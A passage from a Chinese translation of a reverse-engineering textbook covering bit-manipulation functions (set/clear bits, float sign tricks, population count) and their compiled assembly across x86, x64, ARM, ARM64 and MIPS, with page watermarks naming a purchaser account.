差不多 把所有的寄存器都扩展为 32 位,形成了 EAX 寄存器。但是出于兼容性的考虑,后续的 CPU 保留了 AX/AH/AL 寄存器的命名空间。 世上先有的 16 位 8086 CPU,后有的 32 位 x86 CPU。在早期 16 位 CPU 上运行短程序,其 opcode 比 在 32 位 CPU 上运行的 opcode 要短。所以,操作 AH 寄存器的“or ah,40h”的指令只占用了 3 字节的 opcode。 虽然说似乎“or eax,04000h”这样的指令更合乎情理,但是那样就会占用 5 字节的 opcode;如果第一个操 作符不是 EAX 寄存器,同等的指令甚至会使用 6 字节的 opcode。 Optimizing GCC and regparm 如果同时启用优化选项“-O3”和寄存器分配选项“regparm=3”,生成的指令会更为简短。 指令清单 19.14 Optimizing GCC public f f proc near push ebp or ah, 40h mov ebp, esp and ah, 0FDh pop ebp retn f endp 第一个参数原本就在 EAX 寄存器里(fastcall 规范),所以可直接使用 EAX 寄存器。函数引言的“push ebp / mov ebp,esp”指令,以及函数尾声的“pop ebp”完全可以省略;但是 GCC 还做不到这种程度的智能 优化。这种代码完全可以作为内嵌函数(参见第 43 章)来使用。 19.2.2 ARM + Optimizing Keil 6/2013 (ARM mode) 指令清单 19.15 Optimizing Keil 6/2013 (ARM mode) 02 0C C0 E3 BIC R0, R0, #0x200 01 09 80 E3 ORR R0, R0, #0x4000 1E FF 2F E1 BX LR BIC 是逐位清除的“(反码)逻辑与”指令,它将第一个操作数与第二个操作数的反码(非求非运算的 结果,进行逻辑与运算,比)x86 指令集里“逻辑与”指令多作了一次求非运算,ORR 是“逻辑或指令”, 与 x86“逻辑或”的作用相同。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 278 逆向工程权威指南(上册) 19.2.3 ARM + Optimizing Keil 6/2013 (Thumb mode) 指令清单 19.16 Optimizing Keil 6/2013 (Thumb mode) 01 21 89 03 MOVS R1, 0x4000 08 43ORRS R0, R1 49 11ASRS R1, R1, #5 ; generate 0x200 and place to R1 88 43 BICS R0, R1 70 47 BX LR 编译器借助了算术右移指令,由 0x4000>>5 生成 0x200。与直接对寄存器进行立即数赋值(0x200)相 比,这种算术指令的 opcode 比较短。 所以,后面的 ASRS(算术右移)指令通过计算 0x4000>>5 得到 0x200。 19.2.4 ARM + Optimizing Xcode (LLVM) + ARM mode 指令清单 19.17 Optimizing Xcode 4.6.3 (LLVM) (ARM mode) 42 0C C0 E3 BIC R0, R0, #0x4200 01 09 80 E3 ORR R0, R0, #0x4000 1E FF 2F E1 BX LR 这段代码由 LLVM 编译而得。其源代码大体应该是: REMOVE_BIT (rt, 0x4200); SET_BIT (rt, 0x4000); 它确实足以完成所需功能。但是哪里来的 0x4200? 或许,LLVM 优化功能对原有指令进行了再加工, 或许这是负负得正。总之这段代码没有质量问题。 有时候编译器确实会做这种类型的代码处理,详细情况请参见第 91 章。 使用 Xcode 4.6.3 进行优化编译而生成的代码也非常相似,本文不再介绍。 19.2.5 ARM:BIC 指令详解 把本章开头的源代码略加修改: int f(int a) { int rt=a; REMOVE_BIT (rt, 0x1234); return rt; }; 用Keil 5.03 进行优化编译 ① 19.2.6 ARM64: Optimizing GCC(Linaro) 4.9 ,可得ARM模式的指令如下: f PROC BIC r0,r0,#0x1000 BIC r0,r0,#0x234 BX lr ENDP 上述程序使用了两条 BIC 指令,即它需要通过两次处理才能清除 0x1234 对应的比特位。这是因为立 即数 0x1234 无法和 BIC 指令封装在同一条指令里。所以编译器进行了等效处理,通过两条指令实现清空 0x1000 和 0x234 相应的比特位。 面向 ARM64 的 GCC 编译器,可直接使用 AND 指令、而不用 BIC 指令。 ① 确切地说,使用的编译器是 LLVM build 2410.2.00 bundled with Apple Xcode 4.6.3。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 279 指令清单 19.18 Optimizing GCC (Linaro) 4.9 f: add w0, w0, -513 ; 0xFFFFFFFFFFFFFDFF orr w0, w0, 16384 ; 0x4000 ret 19.2.7 ARM64: Non-optimizing GCC (Linaro) 4.9 关闭优化选项之后,GCC 生成的代码中会加载无用指令,但是功能相同。 指令清单 19.19 Non-optimizing GCC (Linaro) 4.9 f: sub sp, sp, #32 str w0, [sp,12] ldr w0, [sp,12] str w0, [sp,28] ldr w0, [sp,28] orr w0, w0, 16384 ; 0x4000 str w0, [sp,28] ldr w0, [sp,28] and w0, w0, -513 ; 0xFFFFFFFFFFFFFDFF str w0, [sp,28] ldr w0, [sp,28] add sp, sp, 32 ret 19.2.8 MIPS 指令清单 19.20 Optimizing GCC 4.4.5 (IDA) f: ; $a0=a ori $a0, 0x4000 ; $a0=a|0x4000 li $v0, 0xFFFFFDFF jr $ra and $v0, $a0, $v0 ; at finish: $v0 = $a0&$v0 = a|0x4000 & 0xFFFFFDFF ORI 无疑还是 OR 指令。指令中的“I”意味着它使用机械码存储数值。 但是后面的 AND 指令可就不能是 ANDI 指令了。这是因为它涉及的立即数 0xFFFFFDFF 太长,无法连同操 作指令封装在同一条指令里。所以编译器把这个数赋值给$V0 寄存器,然后让它与其他寄存器进行 AND/与运算。 19.3 位移 C/C++的位移运算符是<<和>>。 x86 指令集里有对应的左移 SHL 和右移 SHR 指令。 位移操作通常用来实现与“2 的 n 次幂”有关的乘法和除法运算。有关介绍请参见本书的 16.1.2 节和 16.2.1 节。 位移指令可用来对特定位进行取值或隔离,用途十分广泛。 19.4 在 FPU 上设置特定位 FPU 存储数据的 IEEE 754 格式如下: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 280 逆向工程权威指南(上册) 最高数权位 MSB 为符号位。是否可能在不使用 FPU 指令的前提下变更浮点数的符号呢? #include <stdio.h> float my_abs (float i) { unsigned int tmp=(*(unsigned int*)&i) & 0x7FFFFFFF; return *(float*)&tmp; }; float set_sign (float i) { unsigned int tmp=(*(unsigned int*)&i) | 0x80000000; return *(float*)&tmp; }; float negate (float i) { unsigned int tmp=(*(unsigned int*)&i) ^ 0x80000000; return *(float*)&tmp; }; int main() { printf ("my_abs():\n"); printf ("%f\n", my_abs (123.456)); printf ("%f\n", my_abs (-456.123)); printf ("set_sign():\n"); printf ("%f\n", set_sign (123.456)); printf ("%f\n", set_sign (-456.123)); printf ("negate():\n"); printf ("%f\n", negate (123.456)); printf ("%f\n", negate (-456.123)); }; 使用位操作 C/C++指令之后,我们不必在 CPU 和 FPU 的寄存器之间传递数据、再进行数学运算了。本节列 举了三个位操作函数:清除 MSB 符号位的 my_abs()函数、设置符号位的 set_sign()函数及求负函数 negate()。 19.4.1 XOR 操作详解 XOR 指令常用于使一个操作数的某些位取反的场合。若操作数 A 的某个位为 1,那么 XOR 指令将对 另一个数的相应位求非。 输入 A 输入 B 输出 0 0 0 0 1 1 1 0 1 1 1 0 若某个参数为零,XOR 则不会进行任何操作。这种指令也就是所谓的空操作。这是 XOR 指令非常重要的属 性,建议记住它。 19.4.2 x86 编译生成的指令简单易懂。 指令清单 19.21 Optimizing MSVC 2012 _tmp$ = 8 _i$ = 8 _my_abs PROC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 281 and DWORD PTR _i$[esp-4], 2147483647 ; 7fffffffH fld DWORD PTR _tmp$[esp-4] ret 0 _my_abs ENDP _tmp$ = 8 _i$ = 8 _set_sign PROC or DWORD PTR _i$[esp-4], -2147483648 ; 80000000H fld DWORD PTR _tmp$[esp-4] ret 0 _set_sign ENDP _tmp$ = 8 _i$ = 8 _negate PROC xor DWORD PTR _i$[esp-4], -2147483648 ; 80000000H fld DWORD PTR _tmp$[esp-4] ret 0 _negate ENDP 函数从栈中提取一个浮点类型的数据,但是把它当作整数类型数据进行处理。 AND 和 OR 设置相应的比特位,而 XOR 用来设置相反的符号位。 因为要把浮点数还给 FPU,所以最后把修改后的处理结果保存到 ST0 寄存器。 接下来,使用 64 位的 MSVC 2012 进行优化编译,得到的代码如下所示。 指令清单 19.22 Optimizing MSVC 2012 x64 tmp$ = 8 i$ = 8 my_abs PROC movss DWORD PTR [rsp+8], xmm0 mov eax, DWORD PTR i$[rsp] btr eax, 31 mov DWORD PTR tmp$[rsp], eax movss xmm0, DWORD PTR tmp$[rsp] ret 0 my_abs ENDP _TEXT ENDS tmp$ = 8 i$ = 8 set_sign PROC movss DWORD PTR [rsp+8], xmm0 mov eax, DWORD PTR i$[rsp] bts eax, 31 mov DWORD PTR tmp$[rsp], eax movss xmm0, DWORD PTR tmp$[rsp] ret 0 set_sign ENDP tmp$ = 8 i$ = 8 negate PROC movss DWORD PTR [rsp+8], xmm0 mov eax, DWORD PTR i$[rsp] btc eax, 31 mov DWORD PTR tmp$[rsp], eax movss xmm0, DWORD PTR tmp$[rsp] ret 0 negate END 输入值会经 XMM0 寄存器存储到局部数据栈,然后通过 BTR、BTS、BTC 等指令进行处理。 这些指令用于重置(BTR)、置位(BTS)和翻转(BTC)特定比特位。如果从 0 开始数的话,浮点数 异步社区会员 dearfuture(15918834820) 专享 尊重版权 282 逆向工程权威指南(上册) 的第 31 位才是 MSB。 最终,运算结果被复制到 XMM0 寄存器。在 Win64 系统中,浮点型返回值要保存在这个寄存器里。 19.4.3 MIPS 面向 MIPS 的 GCC 4.4.5 生成的程序几乎没什么区别。 指令清单 19.23 Optimizing GCC 4.4.5 (IDA) my_abs: ; move from coprocessor 1: mfc1 $v1, $f12 li $v0, 0x7FFFFFFF ; $v0=0x7FFFFFFF ; do AND: and $v0, $v1 ; move to coprocessor 1: mtc1 $v0, $f0 ; return jr $ra or $at, $zero ; branch delay slot set_sign: ; move from coprocessor 1: mfc1 $v0, $f12 lui $v1, 0x8000 ; $v1=0x80000000 ; do OR: or $v0, $v1, $v0 ; move to coprocessor 1: mtc1 $v0, $f0 ; return jr $ra or $at, $zero ; branch delay slot negate: ; move from coprocessor 1: mfc1 $v0, $f12 lui $v1, 0x8000 ; $v1=0x80000000 ; do XOR xor $v0, $v1, $v0 ; move to coprocessor 1: mtc1 $v0, $f0 ; return jr $ra or $at, $zero ; branch delay slot 因为 LUI 在传递高 16 位数据时会清除寄存器的低 16 位,所以单条 LUI 指令就可以完成 0x80000000 的赋值,无需再用 ORI 指令。 19.4.4 ARM Optimizing Keil 6/2013 (ARM mode) 指令清单 19.24 Optimizing Keil 6/2013 (ARM mode) my_abs PROC ; clear bit: BIC r0,r0,#0x80000000 BX lr ENDP set_sign PROC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 283 ; do OR: ORR r0,r0,#0x80000000 BX lr ENDP negate PROC ; do XOR: EOR r0,r0,#0x80000000 BX lr ENDP ARM 模式的程序可以使用 BIC 指令直接清除指定的比特位。上述程序中的 EOR 指令是 ARM 模式下 进行 XOR(异或)运算的指令。 Optimizing Keil 6/2013 (Thumb mode) 指令清单 19.25 Optimizing Keil 6/2013 (Thumb mode) my_abs PROC LSLS r0,r0,#1 ; r0=i<<1 LSRS r0,r0,#1 ; r0=(i<<1)>>1 BX lr ENDP set_sign PROC MOVS r1,#1 ; r1=1 LSLS r1,r1,#31 ; r1=1<<31=0x80000000 ORRS r0,r0,r1 ; r0=r0 | 0x80000000 BX lr ENDP negate PROC MOVS r1,#1 ; r1=1 LSLS r1,r1,#31 ; r1=1<<31=0x80000000 EORS r0,r0,r1 ; r0=r0 ^ 0x80000000 BX lr ENDP ARM 平台的 Thumb 模式指令都是 16 位定长指令。因为单条指令无法封装太大的数据,所以编译器使 用了 MOVS/LSLS 指令对传递常量 0x80000000。这种赋值操作基于数学机制:1<<31=0x80000000。 然而 my_abs 的指令令人费解,它做的运算是(1<<1)>>1。虽然看上去是画蛇添足,但是在进行“输入 变量<<1”的运算时,最高数权位被舍弃了。继而在执行“运算结果>>1”的语句时,根据右移运算规则最 高数权位变为零,而其他各位数值回归原位。借助 LSLS/LSRS 指令对,该函数清除了最高数权位 MSB。 Optimizing GCC 4.6.3 (Raspberry Pi, ARM mode) 指令清单 19.26 Optimizing GCC 4.6.3 for Raspberry Pi (ARM mode) my_abs ; copy from S0 to R2: FMRS R2, S0 ; clear bit: BIC R3, R2, #0x80000000 ; copy from R3 to S0: FMSR S0, R3 BX LR set_sign 异步社区会员 dearfuture(15918834820) 专享 尊重版权 284 逆向工程权威指南(上册) ; copy from S0 to R2: FMRS R2, S0 ; do OR: ORR R3, R2, #0x80000000 ; copy from R3 to S0: FMSR S0, R3 BX LR negate ; copy from S0 to R2: FMRS R2, S0 ; do ADD: ADD R3, R2, #0x80000000 ; copy from R3 to S0: FMSR S0, R3 BX LR 在 QEMU 的仿真环境下启动 Raspberry Pi Linux 即可模拟 ARM FPU。所以上述程序使用 S-字头寄存 器存储浮点数,而不会使用 R-字头寄存器。 FMRS 指令用于在通用寄存器 GPR 和 FPU 之间交换数据。 上述程序中的 my_abs()函数和 set_sign()函数都中规中矩。但是 negate()函数在应该出现 XOR 指令的地 方使用了 ADD 指令。 其实“ADD register, 0x80000000”和“XOR register, 0x80000000”是等效指令,只是不特别直观而已。 整个函数用于变更最高数权位的值。在数学上,1000 与任意三位数相加,运算结果的最后 3 位仍然和被加 数的最后三位相等。同理,1234567+10000=1244567,和的最后四位与第一个数的最后四位等值。以二进 制数的角度来看,0x80000000 就是 100000000000000000000000000000000,只有最高位是 1。因此,当 0x80000000 与任意数值相加时,运算结果的最后 31 位还是被加数的最后 31 位,只是最高数权位会发生变 化。再看 MSB:1+0=1,1+1=0(高于 32 位的数值被舍弃了)。因此,对于这个特定加数来说,ADD 指令 和 XOR 指令可以互换。虽然替换的必要性不甚明朗,但是整个程序还是没有问题的。 19.5 位校验 我们介绍一个测算输入变量的 2 进制数里有多少个 1 的函数。这种函数叫作“population count/点数” 函数。在支持 SSE4 的 x86 CPU 的指令集里,甚至有直接对应的 POPCNT 指令。 #include <stdio.h> #define IS_SET(flag, bit) ((flag) & (bit)) int f(unsigned int a) { int i; int rt=0; for (i=0; i<32; i++) if (IS_SET (a, 1<<i)) rt++; return rt; }; int main() { f(0x12345678); // test }; 在这个循环里,循环计数变量 i 的取值范围是 0~31。因此“1<<i”表达式的取值范围是 0 到 0x80000000, 用人类语言解释,它的含义就是“将数字 1 左移 n 位”。“1<<i”将会使“1”逐一遍历 32 位数字的每一位, 同时将其他位置零。 这段程序里,1<<i 可能产生的值有: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 285 C/C++表达式 2 的指数 十进制数 十六进制数 1<<0 20 1 1 1<<1 21 2 2 1<<2 22 4 4 1<<3 23 8 8 1<<4 24 16 0x10 1<<5 25 32 0x20 1<<6 26 64 0x40 1<<7 27 128 0x80 1<<8 28 256 0x100 1<<9 29 512 0x200 1<<10 210 1024 0x400 1<<11 211 2048 0x800 1<<12 212 4096 0x1000 1<<13 213 8192 0x2000 1<<14 214 16384 0x4000 1<<15 215 32768 0x8000 1<<16 216 65536 0x10000 1<<17 217 131072 0x20000 1<<18 218 262144 0x40000 1<<19 219 524288 0x80000 1<<20 220 1048576 0x100000 1<<21 221 2097152 0x200000 1<<22 222 4194304 0x400000 1<<23 223 8388608 0x800000 1<<24 224 16777216 0x1000000 1<<25 225 33554432 0x2000000 1<<26 226 67108864 0x4000000 1<<27 227 134217728 0x8000000 1<<28 228 268435456 0x10000000 1<<29 229 536870912 0x20000000 1<<30 230 1073741824 0x40000000 1<<31 231 2147483648 0x80000000 逆向工程的实际工作中经常出现这些常数(bit mask)。逆向工程人员应当常备这个表格。虽然 10 进制 常数很难记忆,但是背下十六进制数并不太困难。 它们经常被用作各种标志位。例如,在 Apache 2.4.6 的源代码中,ssl_private.h 就用到了其中的部分常量: /** * Define the SSL options */ #define SSL_OPT_NONE (0) #define SSL_OPT_RELSET (1<<0) #define SSL_OPT_STDENVVARS (1<<1) #define SSL_OPT_EXPORTCERTDATA (1<<3) #define SSL_OPT_FAKEBASICAUTH (1<<4) #define SSL_OPT_STRICTREQUIRE (1<<5) #define SSL_OPT_OPTRENEGOTIATE (1<<6) #define SSL_OPT_LEGACYDNFORMAT (1<<7) 现在言归正传,看看“点数”程序。 宏 IS_SET 的作用是检测 flag 参数(变量 a)的第 n 位是否为 1。 如果变量a 对应的比特位不是1,则宏IS_SET 返回0;如果变量a 对应的比特位是1,则返回bit mask。因为触 发if()then{}语句的条件是“条件表达式不是零”,所以哪怕条件返回值是123456,它都会照样执行then 模块的指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 286 逆向工程权威指南(上册) 19.5.1 x86 MSVC 使用 MSVC2010 编译上述程序,得到的代码如下所示。 指令清单 19.27 MSVC 2010 _rt$ = -8 ;size=4 _i$ =-4 ;size=4 _a$ =8 ;size=4 _f PROC push ebp mov ebp, esp sub esp, 8 mov DWORD PTR _rt$[ebp], 0 mov DWORD PTR _i$[ebp], 0 jmp SHORT $LN4@f $LN3@f: mov eax, DWORD PTR _i$[ebp] ; 递增 add eax, 1 mov DWORD PTR _i$[ebp], eax $LN4@f: cmp DWORD PTR _i$[ebp], 32 ; 00000020H jge SHORT $LN2@f ; 循环结束? mov edx, 1 mov ecx, DWORD PTR _i$[ebp] shl edx, cl ; EDX=EDX<<CL and edx, DWORD PTR _a$[ebp] je SHORT $LN1@f ; result of AND instruction was 0? ; then skip next instructions mov eax, DWORD PTR _rt$[ebp] ; no, not zero add eax, 1 ; increment rt mov DWORD PTR _rt$[ebp], eax $LN1@f: jmp SHORT $LN3@f $LN2@f: mov eax, DWORD PTR _rt$[ebp] mov esp, ebp pop ebp ret 0 _f ENDP OllyDbg 为了方便使用 OllyDbg 进行演示,我们设置变量 a 的值为 0x12345678。 在 i=1 时的情况如图 19.5 所示。 图 19.5 OllyDbg:i=1 时,i 被加载到 ECX 寄存器 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 287 此刻 EDX 的值为 1。 执行 SHL 指令的情况,如图 19.6 所示。 图 19.6 OllyDbg:i = 1,EDX=1<<1 = 2 EDX 寄存器的值是 bit mask ,1<<1=2。 在执行 AND 指令后,ZF=1。就是说,输入变量 0x12345678 和数字 2 的 AND 计算结果是 0,如图 19.7 所示。 图 19.7 OllyDbg:i=1,输入变量的对应比特位是 1 么?否(ZF=1) 这意味着输入变量的对应比特位是 0。这种情况下,程序通过 JZ 指令进行跳转,绕过了操作点数计数 器 rt 的递增指令。 继续执行程序,看看 i=4 的情况。如图 19.8 所示,此时要执行 SHL 指令。 图 19.8 OllyDbg:i=4, ECX 加载 i 的值 此刻 EDX 寄存器的值是 0x10,它是 1<<4 的结果,如图 19.9 所示。 图 19.9 OllyDbg:i = 4, EDX =1≤4 = 0x10 异步社区会员 dearfuture(15918834820) 专享 尊重版权 288 逆向工程权威指南(上册) 当 i=4 时,对应的 bit mask 存在。 执行 AND 指令的情形如图 19.10 所示。 图 19.10 OllyDbg:i=4,输入变量的对应位是否为 1?是(ZF=0) 因为对应 bit 位是 1,所以 ZF=0。确实,0x12345678 & 0x10 = 0x10。这种情况下,将不会触发 jz 转 移指令,点数计数器 rt 的值递增。 最终,函数的返回值是 13。输入变量 0x12345678 的二进制数里有 13 个 1。 GCC 使用 GCC 4.4.1 编译上述程序,可得如下所示的指令。 指令清单 19.28 GCC 4.4.1 public f f proc near rt = dword ptr -0Ch i = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx sub esp, 10h mov [ebp+rt], 0 mov [ebp+i], 0 jmp short loc_80483EF loc_80483D0: mov eax, [ebp+i] mov edx, 1 mov ebx, edx mov ecx, eax shl ebx, cl mov eax, ebx and eax, [ebp+arg_0] test eax, eax jz short loc_80483EB add [ebp+rt], 1 loc_80483EB: add [ebp+i], 1 loc_80483EF: cmp [ebp+i], 1Fh jle short loc_80483D0 mov eax, [ebp+rt] add esp, 10h pop ebx pop ebp retn f endp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 289 19.5.2 x64 为了进行演示,本节对源程序略加修改,将数据类型扩展为 64 位: #include <stdio.h> #include <stdint.h> #define IS_SET(flag, bit) ((flag) & (bit)) int f(uint64_t a) { uint64_t i; int rt=0; for (i=0; i<64; i++) if (IS_SET (a, 1ULL<<i)) rt++; return rt; }; Non-optimizing GCC 4.8.2 指令清单 19.29 Non-optimizing GCC 4.8.2 f: push rbp mov rbp, rsp mov QWORD PTR [rbp-24], rdi ; a mov DWORD PTR [rbp-12], 0 ; rt=0 mov QWORD PTR [rbp-8], 0 ; i=0 jmp .L2 .L4: mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] ; RAX = i, RDX = a mov ecx, eax ; ECX = i shr rdx, cl ; RDX = RDX>>CL = a>>i mov rax, rdx ; RAX = RDX = a>>i and eax, 1 ; EAX = EAX&1 = (a>>i)&1 test rax, rax ; the last bit is zero? ; skip the next ADD instruction, if it was so. je .L3 add DWORD PTR [rbp-12], 1 ; rt++ .L3: add QWORD PTR [rbp-8], 1 ; i++ .L2: cmp QWORD PTR [rbp-8], 63 ; i< 63? jbe .L4 ; jump to the loop boday begin, if so mov eax, DWORD PTR [rbp-12] ; return rt pop rbp ret Optimizing GCC 4.8.2 指令清单 19.30 Optimizing GCC 4.8.2 1 f: 2 xor eax, eax ; rt variable will be in EAX register 3 xor ecx, ecx ; i variable will be in ECX register 4 .L3: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 290 逆向工程权威指南(上册) 5 mov rsi, rdi ; load input value 6 lea edx, [rax+1] ; EDX=EAX+1 7 ; EDX here is a "new version of rt", which will be written into rt variable, if the last bit is 1 8 shr rsi, cl ; RSI=RSI>>CL 9 and esi, 1 ; ESI=ESI&1 10 ; the last bit is 1? If so, write "new version of rt" into EAX 11 cmovne eax, edx 12 add rcx, 1 ; RCX++ 13 cmp rcx, 64 14 jne .L3 15 rep ret ; AKA fatret 这段程序简洁又兼具特色。在本节前面介绍过的各个例子里,程序都是先比较特定位、然后在递增“rt” 的值。但是这段程序的顺序有所不同,它先递增rt再把新的值写到EDX寄存器。这样一来,如果最后的比 特位是 1,那么程序将使用CMOVNE ①指令(等同于CMOVNZ ② 最后一则指令是REP RET(opcode为F3 C3)。它就是MSVC里的FATRET。这个指令是由RET衍生出来 的向优化指令。AMD建议:如果RET指令的前一条指令是条件转移指令,那么在函数最后的返回指令最好 使用REP RET指令。(请参见AMD13b,p15) )把EDX寄存器(rt的候选值)传递给EAX 寄存器(当前的rt值,也是函数的返回值),从而完成rt的更新。所以,无论输入值是什么,每次迭代结束 之后,循环控制变量的值都要进行递增,它肯定会被递增 64 次。 因为它只含有一个条件转移指令(在循环的尾部),所以这种编译方法独具优势。如果编译的方式过于 机械化,那么程序要在递增 rt 和循环尾部进行两次条件转移。现在的 CPU 都具有分支预测的功能(请参 加本书 33.1 节)。在性能方面,本例这类程序的效率更高。 ③ Optimizing MSVC 2010 指令清单 19.31 MSVC 2010 a$ = 8 f PROC ; RCX = input value xor eax, eax mov edx, 1 lea r8d, QWORD PTR [rax+64] ; R8D=64 npad 5 $LL4@f: test rdx, rcx ; there are no such bit in input value? ; skip the next INC instruction then. je SHORT $LN3@f inc eax ; rt++ $LN3@f: rol rdx, 1 ; RDX=RDX<<1 dec r8 ; R8-- jne SHORT $LL4@f fatret 0 f ENDP 本例中,编译器用 ROL 指令替代了 SHL 指令。ROL 的确切作用是“rotate left”,SHL 的含义则是“shift left”。不过在本例中,它们的效果相同。 有关旋转指令的详细介绍,请参见附录 A.6.3。 R8 的值将从 64 逐渐递减为 0,它的变化过程和变量 i 完全相反。 在程序的执行过程中,寄存器的关系如下图所示。 ① Conditional MOVe if Not Equal。 ② Conditional MOVe if Not Zero。 ③ 更多介绍请参见 http://repzret.org/p/repzret/。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 291 RDX R8 0x0000000000000001 64 0x0000000000000002 63 0x0000000000000004 62 0x0000000000000008 61 …… …… 0x4000000000000000 2 0x8000000000000000 1 程序最后使用了 FATRET 指令,我们在上一个例子里已经介绍过它了。 Optimizing MSVC 2012 指令清单 19.32 MSVC 2012 a$ = 8 f PROC ; RCX = input value xor eax, eax mov edx, 1 lea r8d, QWORD PTR [rax+32] ; EDX = 1, R8D = 32 npad 5 $LL4@f: ; pass 1 ------------------------------------ test rdx, rcx je SHORT $LN3@f inc eax ; rt++ $LN3@f: rol rdx, 1 ; RDX=RDX<<1 ; ------------------------------------------- ; pass 2 ------------------------------------ test rdx, rcx je SHORT $LN11@f inc eax ; rt++ $LN11@f: rol rdx, 1 ; RDX=RDX<<1 ; ------------------------------------------- dec r8 ; R8-- jne SHORT $LL4@f fatret 0 f ENDP MSVC 2012 优化编译而生成的代码与 MSVC 2010 大体相同。但是 MSVC 2012 把迭代次数为 64 次的 循环,拆解为两个迭代 32 次的循环。坦白讲,笔者也不清楚个中缘由。或许是优化的结果,或许循环体更 长一些比较好。总之,我特地把这个例子记录下来,希望读者注意:编译器可能生成各种匪夷所思的代码, 但是这些代码的功能仍然会忠实于源程序。 19.5.3 ARM + Optimizing Xcode 4.6.3 (LLVM) + ARM mode 指令清单 19.33 Optimizing Xcode 4.6.3 (LLVM) (ARM mode) MOV R1, R0 MOV R0, #0 MOV R2, #1 MOV R3, R0 loc_2E54 TST R1, R2,LSL R3 ; 根据 R1 & (R2<<R3)设置标记 ADD R3, R3, #1 ; R3++ 异步社区会员 dearfuture(15918834820) 专享 尊重版权 292 逆向工程权威指南(上册) ADDNE R0, R0, #1 ; if ZF flag is cleared by TST, then R0++ CMP R3, #32 BNE loc_2E54 BX LR ARM 模式的 TST 指令相当于 x86 指令集的 TEST 指令。 ARM 模式的指令里没有单独的位移操作指令(参见本书 41.2.1 节)。但是在数据处理指令——即 MOV、TST、 CMP、ADD、SUB、RSB 指令中,可以使用参数调节符(如 LSL、LSR、ASR、ROR、RRX)实现位移运算。 通过“参数调节符(modificators)”进行位移运算的指令,必须明确位移的方法和位移的位数。 此处的“TST R1, R2, LSL R3”,可理解为 R1^(R2<<R3)。 19.5.4 ARM + Optimizing Xcode 4.6.3(LLVM)+ Thumb-2 mode Thumb-2 模式的代码与 ARM 模式的代码基本相同。只不过在 Thumb-2 模式下,不可能直接在 TST 指 令里直接使用参数调节符 LSL,所以它使用 LSL.W 和 TST 指令替代了 ARM 模式下的单条 TST 指令。 MOV R1, R0 MOVS R0, #0 MOV.W R9, #1 MOVS R3, #0 loc_2F7A LSL.W R2, R9, R3 TST R2, R1 ADD.W R3, R3, #1 IT NE ADDNE R0, #1 CMP R3, #32 BNE loc_2F7A BX LR 19.5.5 ARM64 + Optimizing GCC 4.9 本节使用的源程序,是 19.5.2 节中所示程序的 64 位修改版。 指令清单 19.34 Optimizing GCC (Linaro) 4.8 f: mov w2, 0 ; rt=0 mov x5, 1 mov w1, w2 .L2: lsl x4, x5, x1 ; w4 = w5<<w1 = 1<<i add w3, w2, 1 ; new_rt=rt+1 tst x4, x0 ; (1<<i) & a add w1, w1, 1 ; i++ ; result of TST was non-zero? ; then w2=w3 or rt=new_rt. ; otherwise: w2=w2 or rt=rt (idle operation) csel w2, w3, w2, ne cmp w1, 64 ; i<64? bne .L2 ;yes mov w0, w2 ; return rt ret 这个程序与 GCC 生成的 x64 程序(请参见指令清单 19.30)十分相似。 其中,CSEL 指令的全称是“Conditional SELect”。它依据 TST 指令设置的标志位,相应地从候选的两 个操作符中选取一个数据并复制给 W2。本例中,它传递的值是 rt。 19.5.6 ARM64 + Non-optimizing GCC 4.9 本节再次使用 19.5.2 节中所示程序的 64 位修改版。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 293 由于编译时关闭了优化功能,所以编译器生成的代码十分庞大。 指令清单 19.35 Non-optimizing GCC (Linaro) 4.8 f: sub sp, sp, #32 str x0, [sp,8] ; store "a" value to Register Save Area str wzr, [sp,24] ; rt=0 str wzr, [sp,28] ; i=0 b .L2 .L4: ldr w0, [sp,28] mov x1, 1 lsl x0, x1, x0 ; X0 = X1<<X0 = 1<<i mov x1, x0 ; X1 = 1<<1 ldr x0, [sp,8] ; X0 = a and x0, x1, x0 ; X0 = X1&X0 = (1<<i) & a ; X0 contain zero? then jump to .L3, skipping "rt" increment cmp x0, xzr beq .L3 ; rt++ ldr w0, [sp,24] add w0, w0, 1 str w0, [sp,24] .L3: ; i++ ldr w0, [sp,28] add w0, w0, 1 str w0, [sp,28] .L2: ; i<=63? then jump to .L4 ldr w0, [sp,28] cmp w0, 63 ble .L4 ; return rt ldr w0, [sp,24] add sp, sp, 32 ret 19.5.7 MIPS Non-optimizing GCC 指令清单 19.36 Non-optimizing GCC 4.4.5 (IDA) f: ; IDA is not aware of variable names, we gave them manually: rt = -0x10 i = -0xC var_4 = -4 a = 0 addiu $sp, -0x18 sw $fp, 0x18+var_4($sp) move $fp, $sp sw $a0, 0x18+a($fp) ; initialize rt and i variables to zero: sw $zero, 0x18+rt($fp) sw $zero, 0x18+i($fp) ; jump to loop check instructions: b loc_68 异步社区会员 dearfuture(15918834820) 专享 尊重版权 294 逆向工程权威指南(上册) or $at, $zero ; branch delay slot, NOP loc_20: li $v1, 1 lw $v0, 0x18+i($fp) or $at, $zero ; load delay slot, NOP sllv $v0, $v1, $v0 ; $v0 = 1<<i move $v1, $v0 lw $v0, 0x18+a($fp) or $at, $zero ; load delay slot, NOP and $v0, $v1, $v0 ; $v0 = a&(1<<i) ; is a&(1<<i) equals to zero? jump to loc_58 then: beqz $v0, loc_58 or $at, $zero ; no jump occurred, that means a&(1<<i)!=0, so increment "rt" then: lw $v0, 0x18+rt($fp) or $at, $zero ; load delay slot, NOP addiu $v0, 1 sw $v0, 0x18+rt($fp) loc_58: ; increment i: lw $v0, 0x18+i($fp) or $at, $zero ; load delay slot, NOP addiu $v0, 1 sw $v0, 0x18+i($fp) loc_68: ; load i and compare it with 0x20 (32). ; jump to loc_20 if it is less then 0x20 (32): lw $v0, 